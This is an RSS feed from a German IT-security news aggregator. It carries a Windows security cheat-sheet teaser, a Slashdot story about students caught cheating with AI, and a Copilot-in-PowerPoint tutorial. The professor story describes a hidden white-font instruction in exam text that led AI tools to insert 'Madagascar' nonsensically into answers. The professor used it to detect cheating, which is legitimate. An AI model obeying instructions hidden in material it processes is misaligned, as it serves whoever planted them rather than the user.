<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=regex+cheat+sheet+with%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Tue, 28 Jul 2026 03:44:31 +0200</lastBuildDate>
<pubDate>Tue, 28 Jul 2026 03:44:31 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=regex+cheat+sheet+with%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=regex+cheat+sheet+with%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[How I stopped being my parents' emergency IT hotline — The complete list of Windows Security settings I made them fix once and for all]]></title>
<description><![CDATA[Windows security and the bad actors who threaten it are constantly evolving, and it's not easy for those who don't live in Windows to keep up. Rather than fixing issues as they pop up, I created a proactive Windows Security cheat sheet for my parents and family to follow.]]></description>
<link>https://tsecurity.de/de/3695676/windows-tipps/how-i-stopped-being-my-parents-emergency-it-hotline-the-complete-list-of-windows-security-settings-i-made-them-fix-once-and-for-all/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695676/windows-tipps/how-i-stopped-being-my-parents-emergency-it-hotline-the-complete-list-of-windows-security-settings-i-made-them-fix-once-and-for-all/</guid>
<pubDate>Sun, 26 Jul 2026 15:22:39 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Windows security and the bad actors who threaten it are constantly evolving, and it's not easy for those who don't live in Windows to keep up. Rather than fixing issues as they pop up, I created a proactive Windows Security cheat sheet for my parents and family to follow.]]></content:encoded>
</item>
<item>
<title><![CDATA[32 of 35 Students Caught Using Hilariously Wrong AI-Generated Answers for Professor's Midterm]]></title>
<description><![CDATA["32 of my 35 students between two classes failed a portion of their midterm because they all used AI to generate their entire response," history professor Jason Gibson says in a viral video shared over 10 million times. "And apparently, they didn't proofread it." 
The instructions included a hidd...]]></description>
<link>https://tsecurity.de/de/3694991/it-security-nachrichten/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694991/it-security-nachrichten/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm/</guid>
<pubDate>Sun, 26 Jul 2026 06:31:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["32 of my 35 students between two classes failed a portion of their midterm because they all used AI to generate their entire response," history professor Jason Gibson says in a viral video shared over 10 million times. "And apparently, they didn't proofread it." 
The instructions included a hidden white-font prompt to use the word Madagascar "in a way that makes no sense." So if he saw the word Madagascar, "I knew that they copied and pasted the whole thing, and just threw it in AI." Futurism reports:

[A]pparently none of the indolent cheats put in the bare modicum of effort required to at least check if what the AI wrote made any sense at all... [Gibson shared some AI-generated answersin a follow-up video.] An observation about AI automation was unceremoniously closed with how the island nation "wore a toaster to a basketball game," he also shared. And social media's impact on the world was compared to a "long journey to Madagascar." Gibson makes it clear that humiliating his students wasn't the point. He says he fully explained how he caught them afterwards, and that he gave the students an opportunity to contest their grade. (Only two did, showing at least that they do feel shame....) 

He definitely isn't the only educator going through similar tribulations... One Brown University professor discovered that over half his students were using AI to cheat on an exam, and Princeton University has even dropped its over century-old Honor Code tradition by forcing exams to be supervised after being mired in its own chatbot cheating scandal. "We don't know best practices for navigating academia with AI," Gibson warned. "We're all just trying to hold onto some level of academic integrity in the process." 

"First and foremost, Madagascar has nothing to do with the Industrial Revolutionary," Gibson says with exasperation in the video. "Second, it was more than obvious that they didn't even go back and re-read these responses... If you're going to use AI to generate the entire response, at least re-read it!" Here's how one student answered the test question. "Today technology such as artificial intelligence, smartphones, and automation is changing many jobs by making work faster and reducing the need for some manual tasks. Madagascar floats sideways through the afternoon." 


And another student wrote "At the same time not everyone has the same access to technology, which can make social inequality even worse. Madagascar purple bicycle whispers to the ceiling."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=32+of+35+Students+Caught+Using+Hilariously+Wrong+AI-Generated+Answers+for+Professor's+Midterm%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F2114259%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F2114259%2F32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/25/2114259/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
